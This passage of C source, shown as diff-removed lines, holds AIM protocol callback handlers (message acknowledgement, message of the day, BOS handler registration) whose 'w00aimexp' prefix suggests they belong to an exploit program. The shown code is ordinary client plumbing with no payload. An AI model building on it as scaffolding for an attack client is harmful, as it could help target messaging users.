- * Received in response to an IM sent with the AIM_IMFLAGS_ACK option.
- */
- static int w00aimexp_parse_msgack(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- va_list ap;
- fu16_t type;
- char *sn = NULL;
-
- va_start(ap, fr);
- type = (fu16_t)va_arg(ap, unsigned int);
- sn = va_arg(ap, char *);
- va_end(ap);
-
- dvprintf("Message (type = 0x%04x) to %s acknowledged\n", type, sn);
- return 1;
- }
-
- static int w00aimexp_parse_motd(aim_session_t *sess, aim_frame_t *fr, ...)
- {
- static char *error_codes[] = {
- "Unknown",
- "Mandatory upgrade",
- "Advisory upgrade",
- "System bulletin",
- "Top o' the world!"
- };
- static int error_codes_len = 5;
- char *msg;
- fu16_t id;
- va_list ap;
-
- va_start(ap, fr);
- id = va_arg(ap, int);
- msg = va_arg(ap, char *);
- va_end(ap);
-
- if (msg)
- {
- dvprintf("MOTD: message = \"%s\" (%s)\n", msg, (id < error_codes_len) ? error_codes[id] : "unknown");
- }
-
- return 1;
- }
-
- void addcb_bos(aim_session_t *sess, aim_conn_t *bosconn)
- {
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNCOMPLETE, w00aimexp_conncomplete, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_SPECIAL, AIM_CB_SPECIAL_CONNERR, w00aimexp_parse_connerr, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_RATEINFO, w00aimexp_rateresp_bos, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_SERVERREADY, w00aimexp_serverready, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_MOTD, w00aimexp_parse_motd, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, 0x0018, w00aimexp_hostversions, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_RIGHTS, w00aimexp_bosrights, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BOS, AIM_CB_BOS_ERROR, w00aimexp_parse_error, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_RIGHTSINFO, w00aimexp_parse_buddyrights, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ONCOMING, w00aimexp_parse_oncoming, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_OFFGOING, w00aimexp_parse_offgoing, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_BUD, AIM_CB_BUD_ERROR, w00aimexp_parse_error, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_INCOMING, w00aimexp_parse_incoming_im, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_MISSEDCALL, w00aimexp_parse_misses, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ERROR, w00aimexp_parse_msgerr, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_ACK, w00aimexp_parse_msgack, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_PARAMINFO, w00aimexp_icbmparaminfo, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_MSG, AIM_CB_MSG_CLIENTERROR, w00aimexp_parse_clienterr, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_GEN, AIM_CB_GEN_ERROR, w00aimexp_parse_error, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_LOC, AIM_CB_LOC_RIGHTSINFO, w00aimexp_locrights, 0);
- aim_conn_addhandler(sess, bosconn, AIM_CB_FAM_STS, AIM_CB_STS_SETREPORTINTERVAL, w00aimexp_reportinterval, 0);
-
- return;
- }
-
-